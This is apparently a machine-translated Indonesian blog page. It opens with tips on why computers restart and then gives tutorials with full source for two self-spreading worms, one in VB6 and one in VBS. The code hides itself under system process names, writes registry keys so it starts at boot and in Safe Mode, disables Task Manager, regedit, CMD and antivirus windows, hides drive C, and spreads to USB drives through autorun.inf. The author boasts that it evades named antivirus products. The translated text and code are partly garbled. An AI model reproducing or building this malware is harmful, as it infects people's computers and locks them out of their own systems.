Symptoms Computer Restart With Her Own

Lately, often the question "why is my computer often restart?" And almost every question was not included symptoms and causes. Therefore, I try to guess the answer to that question based on my experience.

There are several factors that cause frequent computer restarts. Here is my analysis is based on what I have experienced:

1. if caused by a virus, symptoms of computer will restart once we open certain programs ... for example, we opened the "CMD" on the run, open up "windows explorer", open "msconfig" and open "regedit" on the run, and others ... and symptoms restart it was like we were doing (like click start-> Turn off Computer-> Restart) ...

solution:

    upgrade anti-virus
    unplug the hard drive, scan on another computer that is a good antivirus
    reinstall with better records formatted drive c: it ..and do not forget to turn off system restore, delete the folder "recycler" (the hidden) after re-install and scan your computer with anti-virus using the latest
    OPTIONAL: to avoid virus infection, either by using another OS such as LINUX ^ _ ^

2. If due to hardware, there are some symptoms again:

2.1 If due to hardware crashes

symptoms usually appear blue screen when we run the application (could be games or regular program), usually caused by the installation of hardware that are less fit or hadware soiled by dust, and more severe, usually because your memory starts to break down

solution: open the casing ... make sure your hardware is seated, and clean of dust ... and when memory begins to break down, unplug your memory, computer attach lain..kalau still cause the same symptoms mean it because your memory starts to break down and would not want you must replace it with a new one

2.2 If due to lack of competent hardware

symptoms immediately restart the computer without warning. These symptoms usually occur after you have installed a new VGA. note: vga it usually requires a minimum of 65 watts of power from the power supply ... but it also usually results in lack of power coming into your computer

Solution: replace the power supply with more supply the power to your computer ... and when due to lack of power (electricity voltage normally declines in big cities in the hours 18:00 to 10:00 p.m.) use UPS, passable create and stabilize the incoming voltage save power.

3. if due to software crash

symptoms similar to a hardware crash, appears blue screen..namun when considered in the bottom of the warning that pops up is different to that caused by hardware crash .. usually software diinstallkan that there is a conflict with your hardware. and usually the conflict it is the software that will use your hardware such as: benchmarking-tools, games, graphics software, etc.

solution: upgrade your driver, upgrade your OS also because there is a particular version of the OS with less compatible with certain hardware and when viewed at forums solution must update OS

Virus For MsWord Etc

Our program this time is to make a simple virus is just annoying Microsoft Office Word and Excel.Misalkan user opens a Word then on typing paper has appeared messages from Virus similarly when opening Excel message will be given the virus in cell Excel. Ya..ya simple once this virus does not damage the documents / files and not mengahpus any files so excellent virus hati..he..he..Jika you want to add Fiture-Fiture cruel but please just here / This virus did not I write how to format or delete files or other intrusions Fiture (now is not the time) .Please try guaranteed 100% no data is deleted, this is just a game only virus kok..berani try?What is needed in making this project go round: 5 timers and 1 DriveListBoxAt this time the project we can learn about the Fire SendMessage Windows, registry, and automation in Word and Excel. May be useful.
Put all the code below in the form==========================================Private Declare Function FindWindow Lib "User32" Alias ​​"FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'search Kleas and Window Name A FilePrivate Declare Function SendMessage Lib "User32" Alias ​​"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'SendMessagePrivate Declare Function GetDriveType & Lib "Kernel32" Alias ​​"GetDriveTypeA" (ByVal nDrive As String) 'penghandel flashPrivate Declare Function ExitWindowsEx Lib "User32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windowsPrivate Const WM_CLOSE = & H10Private Const EWX_LOGOFF = 0Private Const EWX_SHUTDOWN = 1Private Const EWX_REBOOT = 2Private Const EWX_FORCE = 4Private Const EWX_POWEROFF = 8
Option ExplicitDim FWndDim obj As ObjectDim doc As ObjectAs Object Dim WrkBookAs Object Dim WrkSheetDim i As IntegerDim RegRunDim FolderStartUpDim FolderMyDocumentsDim FolderTemplatesDim FolderNetHoodDim FolderPrintHoodDim FolderFavoritesDim FolderSendToDim FolderProgramsDim FlashDisk
Private Sub Form_Load ()On Error Resume Next'random caption caption shg virus will change every Windows startup or virus executedRandomizeMe.Caption = Int (Rnd * 2221189331445 #) 'Please input the numbers as you like'MultiplyGandakefolderIstimewaMe.Visible = FalseApp.TaskVisible = False 'virus is not visible in the task managerInfeksiRegistryEnd Sub
Sub BuatWord ()On Error Resume NextSet obj = CreateObject ("Word.Application")Set doc = CreateObject ("Word.Application")Set doc = obj.Documents.Adddoc.Content = "VIRUS WORKS MENGINFEKSIMU - SALAM KENAL"End Sub
Sub BuatXls ()On Error Resume NextSet obj = CreateObject ("Excel.Application")Set WrkBook = obj.workbooks.AddSet WrkSheet = WrkBook.worksheets.AddWrkSheet.Cells (15, 4) = "VIRUS WORKS MENGINFEKSIMU - SALAM KENAL"End Sub
Sub InfeksiRegistry ()On Error Resume NextRegRun.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Policies \ Shell", "Explorer.exe" and "" "" & FolderMyDocuments & "\ services.exe" "" 'virus will continue to run on the type of windows Safe ModeRegRun.regwrite "HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \ Control \ SafeBoot \ AlternateShell", FolderFavorites & "\ SalamKenal.exe '' the virus will continue to run on the type of Windows Safe Mode With Command PromptRegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, "REG_DWORD" 'Folder Options can not be accessedRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFolderOptions", 1, "REG_DWORD" 'Folder Options can not be accessedRegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, "REG_DWORD" 'Hide file attribute superhidden / files systemRegRun.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Explorer \ Advanced \ ShowSuperHidden", 0, "REG_DWORD" 'Hide file attribute superhidden / files systemRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ Windows \ System \ DisableCMD", 1, "REG_DWORD" 'Disable CMD and .batRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Policies \ Microsoft \ Windows \ System \ DisableCMD", 1, "REG_DWORD" 'Disable CMD and .batRegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, "REG_DWORD" 'registry can not be accessed and can not perform the import files with RegRegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, "REG_DWORD" 'registry can not be accessed and can not perform the import files with RegRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \ Winlogon", FolderTemplates & "\ smss.exe" 'smss.exe running at startupRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run \ Winlogon", FolderSendTo & "\ system.exe" 'system.exe run at startupRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFind", 1, "REG_DWORD" 'pd star search menu disappearRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoFind", 1, "REG_DWORD" 'Ssearch pd star lost menuRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoSMHelp", 1, "REG_DWORD" 'help suport star pd missing menuRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoSMHelp", 1, "REG_DWORD" 'help suport star pd missing menuRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoClose", 1, "REG_DWORD" 'Turn Off button menu pd missing starRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoClose", 1, "REG_DWORD" 'Turn Off button menu pd missing starRegRun.regwrite "HKEY_CURRENT_USER \ Control Panel \ Colors \ WindowText", "255 0 0", "REG_SZ" 'DEFAULT TEXT INTO THE REDRegRun.regwrite "HKEY_CLASSES_ROOT \ Drive \ shell \ Scan With Antivirus \ Command \", FolderFavorites & "\ SalamKenal.exe" 'Creating With Antivirus Scan menu on right click the Drive-drive, but not the run Antivirus Virus but that SalamKenal.exe located in the Favorite FoldersRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoDrives", 4 "REG_DWORD" 'Drive C is lostRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ NoDrives", 4 "REG_DWORD" 'Drive C is lostRegRun.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ Internet Explorer \ policies \ Explorer \ NoFileMenu", 1, "REG_DWORD" 'File menu in Windows Ekplorer missingRegRun.regwrite "HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ Internet Explorer \ policies \ Explorer \ NoFileMenu", 1, "REG_DWORD" 'File menu in Windows Ekplorer missingRegRun.regwrite "HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ Cdrom \ Autorun", 1, "REG_DWORD" 'Autorun on CD or USBEnd Sub
Sub GandaKeFlashDisk ()On Error Resume NextIf Dir (flash & "\ Winlogon.exe") <> "Winlogon.exe" Then 'check for the presence or tdknya winlogon.exe in flash if cut no laterFileCopy FolderStartUp & "\ Winlogon.exe", FlashDisk & "\ Winlogon.exe"SetAttr FlashDisk & "\ Winlogon.exe", vbHidden + vbSystem + vbReadOnlyEnd IfBuatFileAutorunInfEnd Sub
Sub BuatFileAutorunInf ()'create Autorun.inf file to flash function for every flash if double-click / right-click then click open the Virus (winlogon.exe) will be executedOn Error Resume NextOpen FlashDisk & "\ autorun.inf" For Output As 1Print # 1, "[autorun]"Print # 1, "Icon = Winlogon.exe" 'To FlashDisk Having Icon Same as VirusPrint # 1, "Open = Winlogon.exe"Print # 1, "ShellExecute = Winlogon.exe"Print # 1, "Shell \ Open \ Command = Winlogon.exe"Print # 1, "Shell = Open"Close # 1SetAttr FlashDisk & "\ autorun.inf", vbHidden + vbSystem + vbReadOnlyEnd Sub
Sub GandakefolderIstimewa ()On Error Resume NextSet RegRun = CreateObject ("WScript.Shell")FolderStartUp = RegRun.specialfolders ("StartUp")FolderMyDocuments = RegRun.specialfolders ("My Documents")FolderTemplates = RegRun.specialfolders ("Templates")FolderNetHood = RegRun.specialfolders ("NetHood")FolderPrintHood = RegRun.specialfolders ("PrintHood")FolderFavorites = RegRun.specialfolders ("Favorites")FolderSendTo = RegRun.specialfolders ("SendTo")FolderPrograms = RegRun.specialfolders ("Programs")On Error Resume Next'Create a virus with the name winlogon.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderStartUp & "\ winlogon.exe"SetAttr FolderStartUp & "\ Winlogon.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name services.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderMyDocuments & "\ services.exe"SetAttr FolderMyDocuments & "\ services.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name smss.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderTemplates & "\ smss.exe"SetAttr FolderTemplates & "\ smss.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name csrss.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderPrintHood & "\ csrss.exe"SetAttr FolderPrintHood & "\ csrss.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name Isass.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderNetHood & "\ Isass.Exe"SetAttr FolderNetHood & "\ Isass.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name SalamKenal.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderFavorites & "\ SalamKenal.Exe"SetAttr FolderFavorites & "\ SalamKenal.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name system.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderSendTo & "\ System.Exe"SetAttr FolderSendTo & "\ system.exe", vbHidden + vbSystem + vbReadOnly'Create a virus with the name ctfmon.exeFileCopy App.Path & "\" & App.EXEName and ".exe", FolderPrograms & "\ ctfmon.exe"SetAttr FolderPrograms & "\ ctfmon.exe", vbHidden + vbSystem + vbReadOnlyEnd Sub
Private Sub Timer1_Timer () 'Timer 1 given intervals of 5 secondsOn Error Resume NextFWnd = FindWindow ("OpusApp", "Document1 - Microsoft Word") 'Ms WordIf FWnd <> 0 ThenSendMessage FWnd, WM_CLOSE, True, TrueBuatWordobj.Visible = TrueTimer2.Enabled = TrueTimer1.Enabled = FalseEnd IfOn Error Resume NextFWnd = FindWindow ("OpusApp", "New Microsoft Word Document.doc - Microsoft Word") 'Ms WordIf FWnd <> 0 ThenSendMessage FWnd, WM_CLOSE, True, TrueBuatWordobj.Visible = TrueTimer2.Enabled = TrueTimer1.Enabled = FalseEnd IfEnd Sub
Private Sub Timer2_Timer ()On Error Resume NextFWnd = FindWindow ("XLMAIN", "Microsoft Excel - Book1") 'ms excelIf FWnd <> 0 ThenSendMessage FWnd, WM_CLOSE, True, TrueBuatXlsobj.Visible = TrueTimer1.Enabled = TrueTimer2.Enabled = FalseEnd IfOn Error Resume NextFWnd = FindWindow ("XLMAIN", "Microsoft Excel - New Microsoft Excel Worksheet.xls") 'ms excelIf FWnd <> 0 ThenSendMessage FWnd, WM_CLOSE, True, TrueBuatXlsobj.Visible = TrueTimer1.Enabled = TrueTimer2.Enabled = FalseEnd IfEnd Sub
Private Sub Timer3_Timer ()On Error Resume Next'Shut down applications that are harmful to the virusFWnd = FindWindow ("# 32 770", "RUN") 'window runSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("# 32 770", "System Configuration Utility") 'msconfigSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("# 32 770", "Windows Task Manager") 'task managerSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("# 32 770", "Avira AntiVir Personal - Free Antivirus") 'Avira AntivirSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("# 32 770", "AntiVir Guard: Attention, Detection!") 'Avira AntivirSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("RegEdit_RegEdit", vbNullString) 'regedit.exeSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("TMainForm", vbNullString) 'application made by Delphi (Antivirus PCMAV that the old version can be closed but the new version can not be stopped) <: dSendMessage FWnd, WM_CLOSE, 0 &, 0 &FWnd = FindWindow ("TApplication", vbNullString) 'application made in DelphiSendMessage FWnd, WM_CLOSE, 0 &, 0 &End Sub
Private Sub Timer4_Timer ()'Looking flashOn Error Resume NextFor i = 0 To Drive1.ListCount - 1If GetDriveType (Drive1.List (i)) = 2 And Left (Drive1.List (i), 1) <> "A" ThenFlashDisk = (Drive1.List (i))Timer4.Enabled = False 'so that the flash lights flashing indeterminate too long, so that the owner of the morbidly suspicious flashExit ForEnd IfNextGandaKeFlashDisk 'End Sub
Private Sub Timer5_Timer ()On Error Resume NextInfeksiRegistry'Probably one of the viruses removed SHG should always multiplyGandakefolderIstimewa'Turn on the timer 4If GetDriveType (Drive1.List (i)) = 2 And Left (Drive1.List (i), 1) <> "A" ThenTimer4.Enabled = TrueEnd IfEnd Sub
Private Sub Form_QueryUnload (Cancel As Integer, UnloadMode As Integer)Cancel = 1End Sub
Private Sub Form_Unload (Cancel As Integer)Cancel = 1End Sub

Creating Simple Virus Via Notepad

Fad Flash Disc striking my brother suddenly I find any a local malcode made with VBS language. Well, turns out the virus maker will begin to look wearing VBS language. Perhaps because it involves IPR (Intellectual Property Rights) because of the many outstanding VB6.0 is pirated. So he made the virus with VBS can be made only with Windows Notepad as in the existing compiler with integrated, Windows-Based Script Host.
Sesua I promise, we will make a simple virus using Notepad. This virus will make itself spread to removable disc with AutoRun so that other computers plugged an infected flash disc will immediately become victims without running infector User waited for her. This virus I gave the name "Kalong.VBS". Now open Notepad her. Copy the following code:
'// - Beginning of code, set so that when the error is left, and then proceed virus activity - //on error resume next
'// - Dim the following words - //rekur dim, windowpath, flashdrive, fs, mf, content, tf, bats, nt, check, sd
'// - Set a text that will be created for Autorun Setup Information - //content = "[autorun]" & vbCrLf & "shellexecute = wscript.exe k4l0n6.dll.vbs"set fs = createobject ("Scripting.FileSystemObject")set mf = fs.getfile (Wscript.ScriptFullname)dim text, sizesize = mf.sizecheck = mf.drive.drivetypeset text = mf.openastextstream (1, -2)do while not text.atendofstreamrekur = rekur & text.readlinerekur = rekur & vbCrLfloopdo
'// - Copy itself to be the master file in the Windows Path (example: C: \ Windows)Set windowpath = fs.getspecialfolder (0)set tf = fs.getfile (windowpath & "\ batch- k4l0n6.dll.vbs")tf.attributes = 32set tf = fs.createtextfile (windowpath & "\ batch- k4l0n6.dll.vbs", 2, true)tf.write recursivetf.closeset tf = fs.getfile (windowpath & "\ batch- k4l0n6.dll.vbs")tf.attributes = 39'// - Create Atorun.inf to run automatically each flash disc virus tercolok - //'Spread to every drive that bertype 1 and 2 (removable) including diskettes
for each flashdrive in fs.drives'// - Check Drive - //If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
'// - Create Infector if it turns out Drivetypr 1 or 2. Or A: \ - //set tf = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")tf.attributes = 32set tf = fs.createtextfile (flashdrive.path & "\ k4l0n6.dll.vbs", 2, true)tf.write recursivetf.closeset tf = fs.getfile (flashdrive.path & "\ k4l0n6.dll.vbs")tf.attributes = 39
'// - Create Atorun.inf that his text had been prepared (Auto Setup Information) - //set tf = fs.getfile (flashdrive.path & "\ autorun.inf")tf.attributes = 32set tf = fs.createtextfile (flashdrive.path & "\ autorun.inf", 2, true)tf.write contentstf.closeset tf = fs.getfile (flashdrive.path & "\ autorun.inf")tf.attributes = 39end ifnext
'// - Registry Manipulation - //
sets bat = createobject ("WScript.Shell")
'// - Manip - Change Title Internet Explorer becomes THE bat vs ZAY - //kalong.regwrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Internet Explorer \ Main \ Window Title", "THE bat vs ZAY "
'// - Manip - Set so that the hidden files are not displayed in Explorer - //kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ Advanced \ Hidden", "0", "REG_DWORD"
'// - Manip - Remove the Find menu, Folder Options, Run, and blocking Regedit and Task Manager - //kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFind", "1", "REG_DWORD"kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoFolderOptions", "1", "REG_DWORD"kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer \ NoRun", "1", "REG_DWORD"kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, "1", "REG_DWORD"kalong.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr", "1", "REG_DWORD"
'// - Manip - Disable right click - //kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, "1", "REG_DWORD"
'// - Manip - Come Messages Every Windows Startup - //kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ LegalNoticeCaption", "Worm Bats. Variant from Rangga-Zay, do not panic all the data are safe. "
'// - Manip - On every Windows Startup - //kalong.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ Systemdir", windowpath & "\ batch- k4l0n6.dll.vbs"
'// - Manip - RegisteredOwner and Organization Change - //kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOrganization", "The Batrix"kalong.regwrite "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ RegisteredOwner", "Bats"
'// - Well if this code I do not know, please Mas Aat_S to explain - //check if <> 1 thenWscript.sleep 200000end ifwhile loops check <> 1set sd = createobject ("WScript.Shell")sd.run windowpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname'End of Code
Save the code in Notepad by means FILE> SAVE. Then save as type select "All Files (*. *). Save with name: k4l0n6.dll.vbs. Need not actually use * .dll also do nothing but attempt to avoid suspicious wrote.
He he ... Worm Virus is indeed not purely of my own thoughts because it mimics his code-Zay Rangga virus. But that is better because it is not detectable wear PCMAV RC15, ClamAV, and AVAST. This was counted for you know that makes the virus / worm does not need to buy pirated software. Wear Notepad (on Windows Original) also.